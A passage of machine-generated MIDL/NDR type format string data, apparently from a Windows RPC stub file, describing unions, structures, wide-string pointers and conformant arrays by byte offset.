0x1 ),\t/* Corr flags:  early, */\n/* 1840 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1842 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1846 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1850 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1852) */\n/* 1852 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1854 */\tNdrFcShort( 0x6 ),\t/* 6 */\n/* 1856 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 1860 */\tNdrFcShort( 0x22 ),\t/* Offset= 34 (1894) */\n/* 1862 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 1866 */\tNdrFcShort( 0x2e ),\t/* Offset= 46 (1912) */\n/* 1868 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 1872 */\tNdrFcShort( 0x50 ),\t/* Offset= 80 (1952) */\n/* 1874 */\tNdrFcLong( 0x4 ),\t/* 4 */\n/* 1878 */\tNdrFcShort( 0x9e ),\t/* Offset= 158 (2036) */\n/* 1880 */\tNdrFcLong( 0x6 ),\t/* 6 */\n/* 1884 */\tNdrFcShort( 0xf4 ),\t/* Offset= 244 (2128) */\n/* 1886 */\tNdrFcLong( 0x8 ),\t/* 8 */\n/* 1890 */\tNdrFcShort( 0x14c ),\t/* Offset= 332 (2222) */\n/* 1892 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (1891) */\n/* 1894 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1896 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1898) */\n/* 1898 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1900 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1902 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1904 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (1908) */\n/* 1906 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1908 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1910 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1912 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1914 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1916) */\n/* 1916 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1918 */\tNdrFcShort( 0x30 ),\t/* 48 */\n/* 1920 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1922 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (1932) */\n/* 1924 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1926 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1928 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1930 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1932 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1934 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1936 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1938 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1940 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1942 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1944 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1946 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1948 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1950 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1952 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1954 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (1978) */\n/* 1956 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 1958 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 1960 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1962 */\tNdrFcShort( 0x48 ),\t/* 72 */\n/* 1964 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1966 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1968 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1972 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1976 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1978 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1980 */\tNdrFcShort( 0x58 ),\t/* 88 */\n/* 1982 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1984 */\tNdrFcShort( 0x10 ),\t/* Offset= 16 (2000) */\n/* 1986 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1988 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1990 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1992 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1994 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1996 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1998 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2000 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2002 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2004 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2006 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2008 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2010 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2012 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2014 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2016 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2018 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2020 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2022 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2024 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2026 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2028 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2030 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2032 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2034 */\tNdrFcShort( 0xffb2 ),\t/* Offset= -78 (1956) */\n/* 2036 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2038 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (2062) */\n/* 2040 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 2042 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 2044 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2046 */\tNdrFcShort( 0x58 ),\t/* 88 */\n/* 2048 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2050 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2052 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2056 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2060 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2062 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2064 */\tNdrFcShort( 0x68 ),\t/* 104 */\n/* 2066 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2068 */\tNdrFcShort( 0x14 ),\t/* Offset= 20 (2088) */\n/* 2070 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2072 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2074 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2076 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2078 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2080 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2082 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2084 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2086 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2088 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2090 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2092 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2094 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2096 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2098 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2100 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2102 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2104 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2106 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2108 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2110 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2112 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2114 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2116 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2118 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2120 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2122 */\tNdrFcShort( 0xff5a ),\t/* Offset= -166 (1956) */\n/* 2124 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2126 */\tNdrFcShort( 0xffaa ),\t/* Offset= -86 (2040) */\n/* 2128 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2130 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2132) */\n/* 2132 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 2134 */\tNdrFcShort( 0x98 ),\t/* 152 */\n/* 2136 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2138 */\tNdrFcShort( 0x1c ),\t/* Offset= 28 (2166) */\n/* 2140 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2142 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2144 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2146 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2148 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2150 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2152 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2154 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2156 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2158 */\tNdrFcShort( 0xfcec ),\t/* Offset= -788 (1370) */\n/* 2160 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2162 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2164 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2166 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2168 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2170 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2172 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2174 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2176 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2178 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2180 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2182 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2184 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2186 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2188 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2190 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2192 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2194 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2196 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2198 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2200 */\tNdrFcShort( 0xff0c ),\t/* Offset= -244 (1956) */\n/* 2202 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2204 */\tNdrFcShort( 0xff5c ),\t/* Offset= -164 (2040) */\n/* 2206 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2208 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2210 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2212 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2214 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2216 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2218 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2220 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2222 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2224 */\tNdrFcShort( 0x2e ),\t/* Offset= 46 (2270) */\n/* 2226 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 2228 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 2230 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2232 */\tNdrFcShort( 0xa8 ),\t/* 168 */\n/* 2234 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2236 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2238 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2242 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2246 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2248 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 2250 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 2252 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2254 */\tNdrFcShort( 0xc4 ),\t/* 196 */\n/* 2256 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2258 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2260 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2264 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2268 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2270 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 2272 */\tNdrFcShort( 0xe0 ),\t/* 224 */\n/* 2274 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2276 */\tNdrFcShort( 0x2a ),\t/* Offset= 42 (2318) */\n/* 2278 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2280 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2282 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2284 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2286 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2288 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2290 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2292 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2294 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2296 */\tNdrFcShort( 0xfc62 ),\t/* Offset= -926 (1370) */\n/* 2298 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2300 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2302 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2304 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2306 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2308 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2310 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2312 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2314 */\tNdrFcShort( 0xfc50 ),\t/* Offset= -944 (1370) */\n/* 2316 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2318 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2320 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2322 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2324 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2326 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2328 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2330 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2332 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2334 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2336 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2338 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2340 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2342 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2344 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2346 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2348 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2350 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2352 */\tNdrFcShort( 0xfe74 ),\t/* Offset= -396 (1956) */\n/* 2354 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2356 */\tNdrFcShort( 0xfec4 ),\t/* Offset= -316 (2040) */\n/* 2358 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2360 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2362 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2364 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2366 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2368 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2370 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2372 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2374 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2376 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2378 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2380 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2382 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2384 */\tNdrFcShort( 0xff62 ),\t/* Offset= -158 (2226) */\n/* 2386 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2388 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2390 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2392 */\tNdrFcShort( 0xff70 ),\t/* Offset= -144 (2248) */\n/* 2394 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2396 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2398 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2400 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (2400) */\n/* 2402 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2404 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2406 */\tNdrFcShort( 0xfdc2 ),\t/* Offset= -574 (1832) */\n/* 2408 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2410 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2412 */\tNdrFcShort( 0x94 ),\t/* Offset= 148 (2560) */\n/* 2414 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2416 */\t0x0,\t\t/* Corr desc:  field,  */\n\t\t\t0x5d,\t\t/* FC_EXPR */\n/* 2418 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2420 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2422 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2424 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2428 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2432 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2434) */\n/* 2434 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2436 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 2438 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 2442 */\tNdrFcShort( 0x16 ),\t/* Offset= 22 (2464) */\n/* 2444 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 2448 */\tNdrFcShort( 0x22 ),\t/* Offset= 34 (2482) */\n/* 2450 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 2454 */\tNdrFcShort( 0x3a ),\t/* Offset= 58 (2512) */\n/* 2456 */\tNdrFcLong( 0xffffff ),\t/* 16777215 */\n/* 2460 */\tNdrFcShort( 0x4a ),\t/* Offset= 74 (2534) */\n/* 2462 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (2461) */\n/* 2464 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2466 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2468) */\n/* 2468 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2470 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2472 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2474 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (2478) */\n/* 2476 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2478 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2480 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2482 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2484 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2486) */\n/* 2486 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2488 